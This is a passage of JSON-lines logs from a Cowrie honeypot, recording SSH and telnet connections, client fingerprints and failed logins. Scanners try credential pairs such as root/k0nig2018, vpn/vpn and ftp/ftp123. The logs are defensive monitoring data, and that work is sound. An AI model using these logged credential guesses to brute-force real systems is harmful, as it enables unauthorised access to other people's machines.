{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1c:c0:7a:05:61:e5:c5:27:65:4d:d8:63:e5:57:29:3b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEA60K2PW4hLaDu2/WA9jv6Q+4VhT+MNpiPZMVzi2kBI7Fwm26RlGZnMhn0BappvVTkgihluDeZxlv0gLFS7yyZiY319benGhwmHy3rVypB3AyvW65Pjp7qoRIhLobrLqgOMgP/P8IXxygq0JsyvcS++nFJIjMatp+yw0rtJxcSqvk=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:32.990501Z","src_ip":"74.48.69.130","session":"a755979bd189","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cf:3b:13:72:07:e3:e8:35:be:b7:1d:bf:03:9d:eb:f8","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDC8/rozc7olSPjcTxwfkEyb4bSsvMEhlAt+SfPziRt9","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint cf:3b:13:72:07:e3:e8:35:be:b7:1d:bf:03:9d:eb:f8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:33.059535Z","src_ip":"74.48.69.130","session":"a755979bd189","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cf:3b:13:72:07:e3:e8:35:be:b7:1d:bf:03:9d:eb:f8","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDC8/rozc7olSPjcTxwfkEyb4bSsvMEhlAt+SfPziRt9","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:33.063591Z","src_ip":"74.48.69.130","session":"a755979bd189","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"61:8a:b1:4b:22:63:dc:e0:c0:66:ce:2e:9f:a4:ba:71","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCyAHGyUzUbWkBlZO8RzADFd/7vNNKC5qJbMIcwAgE4KGzA3WHhjr0DNxu0SQwF/oU1PuvMHoNSuYvQdYE0AThedmjeYyLtcDnRfBVcl5xI9uJ2xQU25C5WIGIAbn3Al/9zhrav7QDlX0pBsDZDx9uPSpsWp+saXHwwheZaVltRa70pErqjFyItDi/vL6ewi2a9Rmu9rO7DhJSaxUX0o1p6eX31DdHRoLET0s7ElGtqRWfjlqC1/Eqf2EmQEyEWfTNfyH44Ezti7eYzXZj+3l/crleI5wua2RSX/2/t64AitfenEBZAW7zauOJxLL6ikN6aypNLyZdnY5LPuIuiwKn9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 61:8a:b1:4b:22:63:dc:e0:c0:66:ce:2e:9f:a4:ba:71","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:33.132681Z","src_ip":"74.48.69.130","session":"a755979bd189","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"61:8a:b1:4b:22:63:dc:e0:c0:66:ce:2e:9f:a4:ba:71","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCyAHGyUzUbWkBlZO8RzADFd/7vNNKC5qJbMIcwAgE4KGzA3WHhjr0DNxu0SQwF/oU1PuvMHoNSuYvQdYE0AThedmjeYyLtcDnRfBVcl5xI9uJ2xQU25C5WIGIAbn3Al/9zhrav7QDlX0pBsDZDx9uPSpsWp+saXHwwheZaVltRa70pErqjFyItDi/vL6ewi2a9Rmu9rO7DhJSaxUX0o1p6eX31DdHRoLET0s7ElGtqRWfjlqC1/Eqf2EmQEyEWfTNfyH44Ezti7eYzXZj+3l/crleI5wua2RSX/2/t64AitfenEBZAW7zauOJxLL6ikN6aypNLyZdnY5LPuIuiwKn9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:33.136549Z","src_ip":"74.48.69.130","session":"a755979bd189","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:33.206729Z","src_ip":"74.48.69.130","session":"a755979bd189","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:33.452961Z","src_ip":"176.65.132.129","session":"da5452d4bc27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":47532,"dst_ip":"159.203.135.109","dst_port":22,"session":"eca02d5af1fe","protocol":"ssh","message":"New connection: 176.65.132.129:47532 (159.203.135.109:22) [session: eca02d5af1fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:35.358609Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:35.362909Z","src_ip":"176.65.132.129","session":"eca02d5af1fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:35.444897Z","src_ip":"176.65.132.129","session":"eca02d5af1fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cowrie","password":"cowrie","message":"login attempt [cowrie/cowrie] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:35.694260Z","src_ip":"176.65.132.129","session":"eca02d5af1fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:36.779940Z","src_ip":"176.65.132.129","session":"eca02d5af1fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":57574,"dst_ip":"159.203.135.109","dst_port":22,"session":"87cc809ee921","protocol":"ssh","message":"New connection: 176.65.132.129:57574 (159.203.135.109:22) [session: 87cc809ee921]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:38.760355Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:38.764835Z","src_ip":"176.65.132.129","session":"87cc809ee921","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:38.846715Z","src_ip":"176.65.132.129","session":"87cc809ee921","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vpn","password":"vpn","message":"login attempt [vpn/vpn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:39.107598Z","src_ip":"176.65.132.129","session":"87cc809ee921","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:40.193352Z","src_ip":"176.65.132.129","session":"87cc809ee921","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"82.152.132.24","src_port":60964,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b9a3e3e9a2d","protocol":"ssh","message":"New connection: 82.152.132.24:60964 (159.203.135.109:22) [session: 1b9a3e3e9a2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:41.699088Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:41.703560Z","src_ip":"82.152.132.24","session":"1b9a3e3e9a2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0011854171753,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:41.777765Z","src_ip":"152.42.224.71","session":"ab73e4c4804f","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:41.829170Z","src_ip":"82.152.132.24","session":"1b9a3e3e9a2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":57600,"dst_ip":"159.203.135.109","dst_port":22,"session":"47fc49ebc5c9","protocol":"ssh","message":"New connection: 176.65.132.129:57600 (159.203.135.109:22) [session: 47fc49ebc5c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:42.048356Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:42.052552Z","src_ip":"176.65.132.129","session":"47fc49ebc5c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:42.134127Z","src_ip":"176.65.132.129","session":"47fc49ebc5c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"k0nig2018","message":"login attempt [root/k0nig2018] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:42.366214Z","src_ip":"82.152.132.24","session":"1b9a3e3e9a2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"ftp123","message":"login attempt [ftp/ftp123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:42.378764Z","src_ip":"176.65.132.129","session":"47fc49ebc5c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:43.499058Z","src_ip":"82.152.132.24","session":"1b9a3e3e9a2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:43.589230Z","src_ip":"176.65.132.129","session":"47fc49ebc5c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39488,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad1f32ec32cf","protocol":"telnet","message":"New connection: 152.42.224.71:39488 (10.17.0.5:23) [session: ad1f32ec32cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:43.822659Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":57626,"dst_ip":"159.203.135.109","dst_port":22,"session":"bfe1e541dd5f","protocol":"ssh","message":"New connection: 176.65.132.129:57626 (159.203.135.109:22) [session: bfe1e541dd5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:45.287677Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:45.293148Z","src_ip":"176.65.132.129","session":"bfe1e541dd5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:45.377024Z","src_ip":"176.65.132.129","session":"bfe1e541dd5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mohammad","password":"mohammad","message":"login attempt [mohammad/mohammad] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:45.625593Z","src_ip":"176.65.132.129","session":"bfe1e541dd5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:46.710442Z","src_ip":"176.65.132.129","session":"bfe1e541dd5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":47360,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d5d87f3d3c4","protocol":"ssh","message":"New connection: 176.65.132.129:47360 (159.203.135.109:22) [session: 2d5d87f3d3c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:48.646905Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:48.651565Z","src_ip":"176.65.132.129","session":"2d5d87f3d3c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:48.832566Z","src_ip":"176.65.132.129","session":"2d5d87f3d3c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amit","password":"amit","message":"login attempt [amit/amit] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:49.129521Z","src_ip":"176.65.132.129","session":"2d5d87f3d3c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:50.214550Z","src_ip":"176.65.132.129","session":"2d5d87f3d3c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36452,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7893725abfc","protocol":"telnet","message":"New connection: 152.42.224.71:36452 (10.17.0.5:23) [session: c7893725abfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:50.537349Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36456,"dst_ip":"10.17.0.5","dst_port":23,"session":"d1ce1d10733a","protocol":"telnet","message":"New connection: 152.42.224.71:36456 (10.17.0.5:23) [session: d1ce1d10733a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:51.682646Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36462,"dst_ip":"10.17.0.5","dst_port":23,"session":"21c5f2f51708","protocol":"telnet","message":"New connection: 152.42.224.71:36462 (10.17.0.5:23) [session: 21c5f2f51708]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:52.034868Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":47362,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a79bcf6ad3e","protocol":"ssh","message":"New connection: 176.65.132.129:47362 (159.203.135.109:22) [session: 9a79bcf6ad3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:52.061822Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:52.069177Z","src_ip":"176.65.132.129","session":"9a79bcf6ad3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.